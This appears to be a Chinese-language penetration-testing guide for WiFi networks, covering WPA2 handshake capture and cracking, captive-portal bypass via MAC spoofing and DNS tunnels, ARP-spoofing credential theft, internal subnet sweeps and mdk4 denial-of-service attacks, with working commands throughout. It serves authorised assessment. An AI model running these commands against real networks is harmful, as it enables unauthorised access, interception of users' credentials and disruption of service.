近源渗透评估指南-WiFi篇
2023-12-18 21:36:45 Author: Desync InfoSec(查看原文) 阅读量:15 收藏

声明:本文介绍的内容仅限于于技术研究和交流,请勿使用本文介绍的技术进行未授权的测试

概述

在安全评估过程,经常会遇到对无线(Wireless)网络进行渗透测试的需求。最近刚好在写一个针对WiFi的测试指南,写完后分享出来,有需要的可以作为参考,当然可能不一定全,这里只是抛砖引玉,有疏漏或者不当之处,欢迎大家提出意见和反馈。

针对WiFi的测试项大致如下:

  1. Web portal testing

  2. WPA/WPA2 Cracking
  3. WPS Cracking
  4. Rogue Access Points
  5. WPA Enterprise Testing
  6. Attacking Captive Portals
  7. Hotspot Captive Portal Bypass
    1. MAC spoofing
    2. DNS隧道/UDP 协议VPN
    3. ARP欺骗窃取凭据
  8. Network isolating Testing
  9. Denial of Service Testing
    1. Authentication Denial-Of-Service
    2. Deauthentication and Disassociation
    3. Michael Countermeasures Exploitation
    4. EAPOL Start and Logoff Packet Injection
01
Web portal testing

Web portal测试主要关注WiFi认证过程以及认证Web门户相关的漏洞,比如SQL注入,组件漏洞,业务逻辑漏洞,认证绕过等。

下图就是一个Guest WiFi的Web认证界面:


对于Web应用相关的漏洞测试,这里就不详细介绍,如果不熟悉的,可以参考下面的资源:

  • https://portswigger.net/web-security/learning-paths

  • https://owasp.org/API-Security/editions/2023/en/0x11-t10/

常用的工具包括:

  • burpsuite: https://portswigger.net/burp

  • sqlmap: https://sqlmap.org/

  • xray: https://github.com/chaitin/xray

  • nuclei: https://github.com/projectdiscovery/nuclei

  • EasyPen: https://github.com/lijiejie/EasyPen

  • ......

这里只是列举了部分工具,对于漏洞利用的工具,一般先是指纹识别,然后通过Google或者Github查找是否存在漏洞以及PoC。

02
WPA/WPA2 Cracking

首先,需要检查是否存在影响我们将无线网卡设置为监听模式的进程,比如Network Manager:

sudo airmon-ng check

如果存在,我们可以使用airmon-ng的kill命令自动结束相关进程:

sudo airmon-ng check kill

然后将无线网卡设置为监听模式,这里将信道设置为1,后面在确定了目标AP的信道后,需要和目标AP一致(使用airmon-ng stop wlan0mon,然后重新设置即可):

sudo airmon-ng start wlan0# 或者指定信道sudo airmon-ng start wlan0 1

我们可以使用iw查看当前的信道,可以看到是10:

$ sudo iw dev wlan0mon infoInterface wlan0mon        ifindex 7        wdev 0x3        addr 34:7d:f6:db:ba:05        type monitor        wiphy 0        channel 10 (2457 MHz), width: 20 MHz (no HT), center1: 2457 MHz        txpower 0.00 dBm

接下来,我们可以使用airodump-ng命令查看附近的WiFi AP 名称,找到我们目标的信息:

$ sudo airodump-ng  wlan0mon
CH 7 ][ Elapsed: 6 s ][ 2023-12-12 21:28 BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 74:EE:2A:8D:F8:25 -85 3 0 0 6 65 WPA2 CCMP PSK LINCOLN_DVR_8df825 48:0E:EC:FE:BA:9F -1 0 0 0 6 -1 <length: 0> CC:08:FB:99:A8:88 -86 0 3 0 11 540 WPA2 CCMP PSK TP-LINK_A888 A4:A9:30:57:46:8D -79 5 311 0 1 130 WPA2 CCMP PSK Xiaomi_468C 98:0D:51:16:C0:C8 -32 9 0 0 1 130 WPA2 CCMP PSK 1702 BSSID STATION PWR Rate Lost Frames Notes Probes 48:0E:EC:FE:BA:9F E8:9F:6D:61:CB:D4 -90 0 - 6 0 2 ...  A4:A9:30:57:46:8D  7E:EE:26:E0:18:F6  -49   24e-11e     9      311         Xiaomi_468C 

这里我们目标是 Xiaomi_468C,信道为1,BSSID是A4:A9:30:57:46:8D,有个客户端的MAC地址为7E:EE:26:E0:18:F6。

我们也可以使用airodump-ng的-c和--bssid参数对AP进行过滤,比如我们可以只关注Xiaomi_468C:

sudo airodump-ng -c 1 --bssid A4:A9:30:57:46:8D   wlan0mon

在获取了目标AP和连接到AP的客户端的信息后,我们需要捕获客户端的认证的数据包,使用-w指定保存的文件的前缀:

sudo airodump-ng -c 1 -w Xiaomi_468C_crack --essid Xiaomi_468C  --bssid A4:A9:30:57:46:8D  wlan0mon

然后使用aireplay-ng命令使客户端和AP解除认证 (deauth) 并重新认证,以便我们捕获认证数据包:

sudo aireplay-ng --deauth 1  -a A4:A9:30:57:46:8D    -c  7E:EE:26:E0:18:F6    wlan0mon

如果出现"No such BSSID available."的错误,或者没有捕获的到握手包,可以再多执行几次上述aireplay-ng命令。因为如果测试电脑离AP距离远的话,信号可能会丢失。我们可以将--deauth参数的值设置为10,发送10个解除认证的数据包,然后等待客户端重新连接。当然我们也可以不发送deauth数据包,等待有新的客户端接入。

网上有的文章可能会介绍将--deauth的值设置为0,一直发送解除认证数据包。但是测试过程发现,当--deauth值为0时,会导致客户端重新认证,而且即使输入正确的密码,也会提示密码错误,所以建议发送几个deauth数据包后,暂停一下,然后看是否有捕获到握手数据包。

在捕获到认证握手包后,我们可以继续捕获一会客户端和AP之间的流量,这些额外的数据可以用来验证破解的密码是否正确。

在某些情况下,捕获到WPA握手包的通知 (WPA handshake: xx:xx:xx:xx:xx:xx) 可能不会出现,因为尚未捕获到可用的握手包。多数情况下,可能是因为信号太强或者太弱,只能捕获到一端或者一部分握手信号。当然还有其他一些可能的原因:

  • 一些 wireless 驱动忽略直接的deauthentication,仅对广播的deauthentication 进行响应。我们可以将上面的aireplay-ng命令去掉-c参数运行 (如:sudo aireplay-ng --deauth 10 -a A4:A9:30:57:46:8D wlan0mon )。

  • 目标使用了802.11我,会忽略未加密的deauthentication数据包,此时唯一的办法就是等待客户端连接。

  • 设备自己没有重新连接,或者超出了信号的范围

最后,我们可以对WiFi密码进行破解。

aircrack-ng -w /usr/share/john/password.lst   -b A4:A9:30:57:46:8D  Xiaomi_468C_crack-01.cap

在破解完密码后,可以使用airdecap-ng尝试解密流量,验证密码的正确性:

airdecap-ng -b A4:A9:30:57:46:8D  -e Xiaomi_468C  -p 88888888 Xiaomi_468C_crack-01.cap

从上图可以看到成功解密了14008个数据包,说明密码正确。

03
WPS Cracking

WPS实际企业环境见到的比较少,这里就不介绍了,大家如果遇到,可以参考下面的资源对WPS进行PIN码进行破解:

  • hxxps[:]//www.hackthebox.com/blog/wps-pin-attacks-and-cracking-wps-with-reaver

04
Rogue Access Points

流氓接入点在渗透测试过程可能一般不会测试,因为严格意义上来说并不算是我们测试的目标AP的漏洞。但是如果要检测企业对于Wireless网络的整体安全防御能力,则需要测试对流氓接入点的检测能力。

流氓接入点的创建,可以参考:

  • hxxps[:]//posts.specterops.io/modern-wireless-attacks-pt-i-basic-rogue-ap-theory-evil-twin-and-karma-attacks-35a8571550ee

  • hxxps[:]//medium.com/purple-team/conduct-red-team-engagements-on-wifi-with-wifiphisher-13fc55db29b1

  • hxxps[:]//www.amazon.com/dp/1801819777 (第6章 Wireless and Bluetooth Attacks )

关于流氓接入点的检测,可以参考:

  • hxxps[:]//www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/snappy-detecting-rogue-and-fake-80211-wireless-access-points-through-fingerprinting-beacon-management-frames/

05
WPA Enterprise Testing

WPA Enterprise加密方式为MGT,如下图。在实际测试过程,如果目标环境使用密码认证,我们同样可以尝试使用Rogue Access Points获取合法用户的凭据,然后对hash进行破解。但如果使用的是证书认证,则可能无法破解密码:

关于的攻击,可以参考:

  • hxxps[:]//pentest.blog/attacking-wpa-enterprise-wireless-network/

  • hxxps[:]//www.offsec.com/penetration-testing/hacking-wpa-enterprise-with-kali-linux/

06
Hotspot Captive Portal Bypass

Captive Portals (强制门户)通常设置在未加密或者开放的网络,使访客或者员工有时即使在没有凭据的情况下,也能很容易地连接到网络或者互联网。

使用Captive Portal相对简单。用户在没有输入任何凭据的情况下连接到目标网络。连接后,OS或者浏览器将会检测到captive portal的存在,并自动打开浏览器提示登录。欢迎页面通常包含规则和条件的说明,以及登录/密码提示。最常见的就是通过手机号和短信验证码进行认证,或者通过手机接收一个临时的账户密码进行登录。

大多数现代操作系统和浏览器 (手机和电脑上的浏览器) 会自动测试互联网的连接。检测captive portal也是这个测试的一部分。但是互联网连接和captive portal之间有些区别。

一般来说,OS或者浏览器将会尝试解析一个或者一组URL,然后看是否收到响应。例如,该响应可以以HTTP 204响应的形式出现,或者甚至只是响应“success”。如果DNS解析成功,但是访问特定URL失败,它将提示一个包含登录界面的强制门户 (captive portal)。

因为使用captive portal网络一般都会允许DNS协议的流量,我们可以通过一些技术手段,尝试绕过认证,直接访问互联网。

下面对几种方法详细介绍。

MAC spoofing

MAC地址欺骗的原理比较简单,我们可以通过ARP扫描已经连接到相同WiFi的主机,如果这些主机里面有已经登录过captive portal的,我们可以将自己的MAC地址修改为对应主机的MAC地址,然后测试是否能够访问互联网。

我们可以使用脚本hack-captive.sh:

sudo apt -y install sipcalc nmapwget https://raw.githubusercontent.com/systematicat/hack-captive-portals/master/hack-captive.shsudo chmod u+x hack-captive.sh

需要注意的是,这个脚本里面使用的验证网络可访问的IP是8.8.8.8,在国内一些网络环境可能默认就无法访问,所以我们需要修改为国内的一些IP,比如114.114.114.114。

在没有认证之前,我们访问互联网会重定向到captive portal:

使用修改过的脚本扫描所有存活的主机IP和MAC地址(APR广播):

$ sudo ./hack-captive.sh
Looking for active hosts in 192.168.140.0/24. Please wait.Trying to hijack 192.168.140.10 - 08:45:d1:17:82:2bSuitable hosts not found. Checking another network chunk.Looking for active hosts in 192.168.141.0/24. Please wait.Trying to hijack 192.168.141.31 - a4:23:32:03:26:e5Trying to hijack 192.168.141.38 - a4:23:31:03:c3:39Trying to hijack 192.168.141.46 - b2:f2:22:5f:ff:1d......Trying to hijack 192.168.141.120 - a4:29:33:14:e9:49Trying to hijack 192.168.141.123 - ae:6e:5b:12:f4:c4Trying to hijack 192.168.141.251 - a4:29:23:04:52:68
如果脚本攻击成功,我们将能直接访问互联网。如果脚本不成功,我们也可以手动修改测试电脑的MAC地址:
sudo ifconfig wlan0  downsudo macchanger --mac  AB:5C:FC:77:AE:7D  wlan0
sudo ifconfig wlan0 up

如果无法识别到主机或者突然无法连接到AP,可能是因为ARP扫描触发了检测规则,可以尝试修改下测试电脑的MAC地址。

sudo ifconfig wlan0 downsudo ifconfig wlan0 hw ether 38:33:15:xx:xx:xxsudo ifconfig wlan0 up
# 或者使用macchangersudo macchanger wlan0 -e # orsudo macchanger wlan0 -r

此外,也可以尝试使用airodump-ng查看连接到对应AP的客户端MAC地址:

sudo airodump-ng --bssid EC:01:D5:A2:10:00 wlan0mon

DNS隧道/UDP 协议VPN

因为OS或者浏览器检测captive portal时一般都会允许DNS访问的流量,所以我们可以尝试使用DNS隧道绕过captive portal。

首先测试在认证前,是否允许DNS协议:

dig @1.1.1.1 www.baidu.com +short

从上图可以看到允许。

要使用DNS隧道,我们需要有一个自己的域名以及公网VPS (dnscat2可以直接用IP连,但在captive portal场景下可能无法直接用IP)。

配置方法比较简单,我们首先创建一个A记录,这里为ns1,指向自己的VPS,然后创建一个NS记录,指向ns1,如下:

创建完成后,等记录更新,然后测试是否可以解析:

在DNS记录能正常解析后,我们就可以尝试创建DNS隧道。第一个工具是iodine,该工具会在Server端和客户端创建两个虚拟的网卡,然后创建一条虚拟链路。Kali默认安装,如果没有安装,可以用如下命令进行编译:

git clone https://github.com/yarrick/iodine.gitcd iodine/make

在Server(VPS上)端运行如下命令进行监听:

sudo ./iodined -f -c -P cxh@CNSOC 192.168.5.1/24 wifipte.example.com

我们可以在如下网站测试Server端是否设置成功:

https://code.kryo.se/iodine/check-it/

如果没问题,在客户端(测试主机)运行:

在显示Connection setup complete, transmitting data后,说明隧道建立完成,我们可以进行测试:

接下来,我们在测试主机使用SSH的动态端口转发功能,创建一个socks代理,下面192.168.5.1为VPS上创建的虚拟IP的地址:

ssh -N -D 0.0.0.0:1080 ubuntu@192.168.5.1 

最后,在测试主机配置socks代理就可以使用浏览器访问互联网了:

如果iodine失败,会显示如下信息,我们可以继续尝试使用dnscat2,因为iodine流量没有加密,dnscat2默认加密:

在Ubuntu 20.04 LTS可以使用如下命令编译dnscat2的Server端:

git clone https://github.com/iagox86/dnscat2.gitcd dnscat2/server/gem install bundlerbundle install

然后Server端运行如下命令进行监听:

ruby ./dnscat2.rb -p 1.1.1.1 -secret=cxh@123456 wifipte.example.com

客户端进行测试:

测试没有问题后,我们就可以使用dnscat2创建DNS隧道:

dnscat --dns domain=wifipte.example.com --secret=cxh@123456

出现"Session established!",说明会话建立成功。

最后,我们也可以尝试通过使用UDP协议的VPN来绕过captive portal,这里我们在VPS上配置一个openvpn服务,监听在UDP 53端口,然后看openvpn客户端能否成功连接。

关于openvpn 服务的配置这里就不介绍了,如果成功,会显示如下信息:

如果是失败,则显示如下信息:

ARP欺骗窃取凭据

如果captive portal认证时使用的是HTTP协议,我们也可以通过ARP欺骗的方式,窃取合法用户的认证信息。但如果captive portal地址和要认证的客户端在同一个VLAN,则ARP欺骗可能无法成功。

首先,我们先查看当前网段存活的主机:

sudo netdiscover -i wlan0

然后,我们开启Linux 内核的转发模式:

sudo sysctl -w net.ipv4.ip_forward=1# 或者sudo suecho 1 > /proc/sys/net/ipv4/ip_forward

这里我们以192.168.5.150为目标,使用aprspoof进行ARP欺骗:

sudo arpspoof -i wlan0 -t 192.168.5.150 192.168.5.1sudo arpspoof -i wlan0 -t 192.168.5.1 192.168.5.150sudo urlsnarf 

我们可以使用urlsnarf查看通过wlan0网卡访问的URL:

使用Wireshark抓包,能看到认证密码:

此外,也可以使用bettercap执行arp欺骗:

set arp.spoof.fullduplex true           set arp.spoof.targets 192.168.5.150     arp.spoof on  

当然,ARP欺骗成功的前提是客户端认证过程使用HTTP协议,虽然网上有文章说在使用HTTPS协议的情况下,可以使用sslstrip,但是测试过程发现没有成功,大家可以自己研究测试下。

07
Attacking Captive Portals

对于Captive Portal的攻击,除了上面介绍的Web应用漏洞测试,绕过Captive Portal,我们也可以使用Evil Twin来获取合法用户的凭据,具体可以参考:

  • hxxps[:]//infosecwriteups.com/how-to-steal-social-media-accounts-using-a-captive-portal-8f87123f8fba

  • hxxps[:]//madura-rajapakshe50.medium.com/wi-fi-hacking-using-evil-twin-attacks-and-captive-portals-part-1-af041aa72fec

08
Network isolating Testing

在接入WiFi后,我们可以测试目标环境的网络隔离是否真的有效,比如我们可以模拟攻击者接入Guest网络后尝试访问内部系统以及数据。

首先我们可以扫描当前网关所在的C段,看有没有收获:

route -nip route shownmap -sn 172.20.10.1

接下来,可以对整个内网IP段进行扫描,看通过Guest网络能访问哪些主机或者系统。我们可以用下面的脚本调用fping来扫描:

#!/bin/bash
echo Start at $(date +'%F %T')echo > gateway.txt
for i in $(seq 0 255); do for j in $(seq 1 254); do fping -b 1 -r 1 -a 192.168.$i.$j >> gateway.txt donedone
for i in $(seq 0 255); do for j in $(seq 16 31); do for q in $(seq 1 254);do fping -b 1 -r 1 -a 172.$j.$i.$q >> gateway.txt done donedone
for i in $(seq 0 255); do for j in $(seq 0 255); do for q in $(seq 1 254);do fping -b 1 -r 1 -a 10.$j.$i.$q >> gateway.txt done donedone
echo Finished at $(date +'%F %T')

上面脚本执行时间可能会比较长,我们也可以修改下脚本,先扫描每个网段默认的网关,比如192.168.1.1和192.168.1.254,在扫描到存活的网关后,再扫描整个C段,但可能会漏掉禁ping的一些网段。

在获得所有存活的主机后,我们可以扫描开放的端口和服务,常见的工具有nmap,fscan等。

09
Denial of Service Testing

如果渗透测试包括拒绝服务的测试,我们可以使用工具mdk4 (https://github.com/aircrack-ng/mdk4) 执行相关的测试。mdk4包含多种攻击模式,下面我们将介绍几种可以用来执行拒绝服务攻击的模式。

在执行攻击之前,我们需要获取目标AP相关信息。首先检查并结束影响将网卡设置为监听模式的进程,然后将无线网卡设置为监听模式:

sudo airmon-ng checksudo airmon-ng check killsudo airmon-ng start wlan0

然后使用airodump-ng获取目标AP信息,比如BSSID,信道,加密算法,ESSID,连接的客户端等:

sudo airodump-ng  wlan0mon

在获取了相关信息后,就可以对不同的攻击模式进行测试。

ATTACK MODE a: Authentication Denial-Of-Service

攻击模式a会给所有AP或者指定AP发送认证数据包,会在短时间内出现多个虚假的客户端连接AP,导致AP重置或者合法客户端无法连接。

下面对BSSID为98:0D:51:16:C0:C8的AP进行测试:

sudo mdk4 wlan0mon a -i 98:0D:51:16:C0:C8 -s 100000

在攻击开始后,可以尝试用其他设备连接目标AP,看能否成功。这种攻击可能目前对部分路由器已经无效,但部分路由器还是可以使用这种方式攻击,大家实际测试过程可以继续尝试下。

ATTACK MODE d: Deauthentication and Disassociation

向客户端发送解除认证和解除关联的数据包,以断开所有客户端与AP的连接。

下面对BSSID为A4:A9:30:57:46:8D的AP进行测试

sudo mdk4 wlan0mon d  -B A4:A9:30:57:46:8D -s 10000

如果攻击成功,则客户端会一直自动断开。

mdk4的d模式不能指定客户端MAC地址,测试过程发现效果也不太行。大家测试过程如果发现使用mdk4的攻击模式d无效,可以尝试使用aireplay的--deauth选项,而且可以指定客户端:

sudo aireplay-ng -0 0 -a A4:A9:30:57:46:8D   wlan0mon

ATTACK MODE m: Michael Countermeasures Exploitation

在另一个QoS队列发送随机的数据包或者注入重复的数据包,以在使用TKIP加密的AP上引发Michael Countermeasures。

如果目标AP使用了TKIP加密,则可以尝试下这种攻击方法,下面以MAC地址为9C:28:EF:62:E7:4C的AP为例:

sudo mdk4 wlan0mon m -t 9C:28:EF:62:E7:4C  -s 1000 -w 1

然后我们可以查看其他设备是否能够正常连接目标AP并使用。

ATTACK MODE e: EAPOL Start and Logoff Packet Injection

用EAPOL Start桢对AP泛洪,使其忙于处理虚假的会话,从而无法处理合法的客户端。或者通过注入假的EAPOL Logoff消息注销客户端。

下面以MAC地址为94:28:6F:BB:0F:99的AP为例:

sudo mdk4 wlan0mon e -t 94:28:6F:BB:0F:99 -s 1000


发送攻击数据包后,我们可以观察其他设备能否正常连接并使用。

总结
CONCLUSION

上面介绍了针对Wireless网络进行渗透测试的常见测试方法,大家可作为一个参考。因为有的英文术语翻译成汉语可能比较怪,就直接写原文了。

部分测试项因为遇到的比较少,就只写了参考资源,大家在学习或者研究过程如有任何疑问,或者无法找到文章中介绍的资源,可在后台留言。

最后说点题外话,这个冬天可能对有些人来说,异常寒冷,但是所谓“盛极必衰,衰久必盛”,不管外界怎么变化,只有自己不断学习,不断提升自己的能力,当机会出现时,情况变好时,自己才能以最好的状态迎接。祝愿大家在这个冬天一切顺利。


文章来源: http://mp.weixin.qq.com/s?__biz=MzkzMDE3ODc1Mw==&mid=2247487149&idx=1&sn=bf5e689a51a5674ac50fd429a9962173&chksm=c30d7f41f93104a9e1e9434c165ec26ee27190300b3a051aadc951d03c2e6dda9bc83fc98f09&scene=0&xtrack=1#rd
如有侵权请联系:admin#unsafe.sh